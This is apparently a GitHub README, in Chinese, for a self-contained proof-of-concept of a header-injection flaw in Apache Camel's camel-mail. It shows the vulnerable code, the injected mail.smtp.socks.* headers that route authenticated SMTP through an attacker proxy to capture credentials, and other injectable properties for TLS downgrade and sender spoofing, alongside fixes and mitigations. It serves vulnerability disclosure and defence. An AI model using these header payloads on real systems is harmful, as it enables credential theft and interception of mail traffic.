oscerd/CVE-2026-46584

GitHub: oscerd/CVE-2026-46584

CVE-2026-46584 的完整复现项目,演示 Apache Camel camel-mail 组件中 mail.smtp.* header 注入漏洞如何通过 SOCKS 代理拦截窃取 SMTP 凭证。

Stars: 0 | Forks: 0

# camel-mail `mail.smtp.*` Header Injection 复现代码 (CVE-2026-46584) 本项目演示了 Apache Camel 的 `camel-mail` 组件中的一个 **消息头注入** 漏洞,追踪编号为 **CVE-2026-46584**。当 `smtp` / `smtps` producer 发送消息时,`MailProducer.getSender(Exchange)` 会扫描 入站 Exchange 中所有以 `mail.smtp.`(或 `mail.smtps.`)开头的 header,并将它们折叠合并到用于该次发送的 JavaMail `Session` 中 —— 在受影响的版本中**没有任何过滤,也不需要显式开启**。攻击者如果能够 在 Exchange 上设置 header(例如通过 HTTP 前端,其非 `Camel*` 的 header 会穿透默认的 HTTP header 过滤器),就可以重写受害者的 JavaMail 传输设置,这仅对单次发送有效。 此 PoC 将其影响演示为**通过路径内拦截窃取凭证**:注入 `mail.smtp.socks.host` / `mail.smtp.socks.port` 会将受害者*已认证*的 SMTP 连接通过 攻击者控制的 SOCKS 代理进行隧道转发。该代理会透明地转发到真实服务器 —— 因此受害者的发送 仍然会成功 —— 同时它会在传输过程中截获明文的 `AUTH LOGIN` 凭证。 安全公告:https://camel.apache.org/security/CVE-2026-46584.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-mail` | | **受影响类** | `org.apache.camel.component.mail.MailProducer#getSender(Exchange)` | | **CWE** | CWE-20 (不当输入验证) / CWE-200 (信息暴露) | | **影响** | 入站 `mail.smtp.*` header 会重写 JavaMail session → 传输拦截、凭证窃取、信任/TLS 削弱 | | **前置条件** | 受影响的路由通过 `smtp`/`smtps` 发送,且允许不受信任的输入到达 Exchange header | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **已修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23522 | | **报告者** | Yu Bao (PayPal) | ## 技术细节 ``` // MailProducer (affected 4.18.2) — every send consults the inbound headers: protected JavaMailSender getSender(Exchange exchange) { String prefix = "mail.smtp."; Map additional = URISupport.extractProperties(exchange.getMessage().getHeaders(), prefix); if (additional.isEmpty()) { prefix = "mail.smtps."; additional = URISupport.extractProperties(exchange.getMessage().getHeaders(), prefix); } if (additional.isEmpty()) { return defaultSender; // no injected props -> normal path } JavaMailSender customSender = getEndpoint().getConfiguration().createJavaMailSender(...); additional.forEach((k, v) -> customSender.addAdditionalJavaMailProperty(prefix + k, v.toString())); return customSender; // <-- attacker props are now in the JavaMail session } ``` 被注入的属性会落入 `DefaultJavaMailSender.send()` 所使用的 JavaMail `Session` 中。SMTP transport 会从该 session 读取其 socket、代理、STARTTLS 和信任设置,因此注入正确的 `mail.smtp.*` 键会改变*已认证*连接的方式——以及通过谁来进行连接。 修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23522)默认停止接受由 header 提供的 session 属性: 只有当路由显式开启(`useJavaMailSessionPropertiesFromHeaders`)时才会应用它们,并且邮件的 `HeaderFilterStrategy` 会在入站映射时过滤掉 `mail.smtp.` / `mail.smtps.` 命名空间。 ### 为什么此 PoC 使用 SOCKS 拦截(而不是 `mail.smtp.host` 重定向) 在 4.18.2 版本中,注入 `mail.smtp.host` **不会**重定向连接。`DefaultJavaMailSender.send()` 使用 `transport.connect(getHost(), getPort(), user, pass)` 进行连接,其中 `getHost()` 返回的是 endpoint 主机 **字段** (`127.0.0.1`),而不是 `mail.smtp.host` *属性*;并且在默认配置下,`createJavaMailSender()` 中 从属性到字段的赋值路径并不会被触发(配置中的 `session` 为 null)。被注入的属性*确实*能够 到达 JavaMail session,因此可靠且具有高影响力的攻击向量是 transport 在连接时从 session 读取的属性 —— 即 `mail.smtp.socks.host` / `mail.smtp.socks.port`。Angus Mail 的 socket 工厂会遵循它, 并通过该 SOCKS 代理打开 socket,从而使攻击者能够在*已认证*的连接上占据路径内拦截位置。 其他 session 读取的配置项同样可以被利用(如 `mail.smtp.ssl.trust`、 `mail.smtp.ssl.checkserveridentity=false`、`mail.smtp.starttls.enable`),以削弱或降级传输安全性。 ## 受害者路由 ``` from("platform-http:/send") .setBody(constant("Automated notification from the victim service.")) .to("smtp://127.0.0.1:2525" + "?username=victim&password=s3cr3t-smtp-pw" // the victim's configured SECRET credentials + "&from=noreply@victim.example&to=ops@victim.example&subject=Notification" + "&connectionTimeout=5000"); ``` 路由作者的意图是固定的:以 `victim` 的身份向 `127.0.0.1:2525` 进行认证。攻击者仅仅添加了两个 HTTP 请求 header,并没有做其他任何事: ``` mail.smtp.socks.host: 127.0.0.1 mail.smtp.socks.port: 1080 ``` 由于它们不是 `Camel*` header,因此默认的 HTTP header 过滤器会将它们传递给 Exchange;`getSender` 将它们 折叠进 JavaMail session 中;随后已认证的 SMTP 连接将通过攻击者的 SOCKS 代理进行隧道转发, 该代理会从网络数据包中读取受害者的凭证。 ## 仓库结构 **受害者** 是 Camel 路由及其配置的 SMTP 服务器;**攻击者** 是一个仅添加了 请求 header 的 HTTP 客户端。所有内容都运行在一个独立的单体应用中。 ``` CVE-2026-46584/ ├── pom.xml # camel-platform-http + camel-mail 4.18.2 ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── VictimRoute.java # from("platform-http:/send").to("smtp://127.0.0.1:2525?username=victim&password=...") │ ├── LegitSmtpServer.java # the operator's real SMTP server on 2525 (accepts AUTH LOGIN) │ ├── AttackerSocksProxy.java # attacker on-path SOCKS5 proxy on 1080 (sniffs AUTH LOGIN) │ └── ExploitController.java # attacker: POST /send with injected mail.smtp.socks.* headers └── resources/ └── application.properties ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(可选,用于容器化运行) ## 复现步骤 ### 选项 A — Docker(推荐) ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 选项 B — 直接运行 jar 包 ``` mvn clean package -DskipTests java -jar target/cve-2026-46584-mail-0.0.1-SNAPSHOT.jar & curl -s http://localhost:8080/exploit/attack ``` ### 预期输出 ``` === 1) Legitimate request (no injected headers) === legit SMTP server authenticated client: victim / s3cr3t-smtp-pw attacker SOCKS proxy saw a connection: false === 2) Attack request (adds mail.smtp.socks.host / mail.smtp.socks.port) === connection tunnelled through attacker proxy to: 127.0.0.1:2525 legit SMTP server still authenticated client: victim / s3cr3t-smtp-pw (the victim's send still succeeds) >>> STOLEN by the attacker's on-path proxy: victim / s3cr3t-smtp-pw >>> Header-injection / credential-theft proof — the attacker harvested the victim's >>> configured SMTP credentials by injecting mail.smtp.* headers over HTTP: true ``` 合法请求永远不会接触代理。而攻击请求 —— 区别仅仅在于多了两个 HTTP header —— 会将受害者已认证的 SMTP session 通过攻击者的代理进行隧道转发,攻击者可以轻易拿走受害者配置的 SMTP 密码,同时发送过程本身也会顺利成功,不受干扰。 ## 攻击向量 任何带有 `smtp`/`smtps` producer 且允许不受信任的输入到达 Exchange header 的路由。除了此处展示的 SOCKS 拦截外,其他可注入的 session 属性包括 `mail.smtp.ssl.trust` 和 `mail.smtp.ssl.checkserveridentity`(接受 MITM 证书)、`mail.smtp.starttls.enable` / `mail.smtp.starttls.required`(降级为明文)以及 `mail.smtp.from`(信封发件人欺骗)。 ## 推荐修复方案 升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23522)。修复后,除非路由显式开启 `useJavaMailSessionPropertiesFromHeaders`,否则由 header 提供的 JavaMail session 属性将被忽略,并且 `mail.smtp.` / `mail.smtps.` 命名空间会在入站映射时被过滤。 ## 缓解措施 在升级之前: 1. 在 mail producer 之前剥离该属性命名空间:`.removeHeaders("mail.smtp.*")` 和 `.removeHeaders("mail.smtps.*")`(通常也建议 `.removeHeaders("Camel*")`)。 2. 不要让不受信任的 producer 在馈送至 mail producer 的 Exchanges 上放置任意 header —— 在入站端 应用严格的 `HeaderFilterStrategy`。 ## 免责声明 此复现代码仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, JS文件枚举, SDLC, SMTP, 中间人攻击, 中间件漏洞, 域名枚举, 漏洞复现, 版权保护, 请求拦截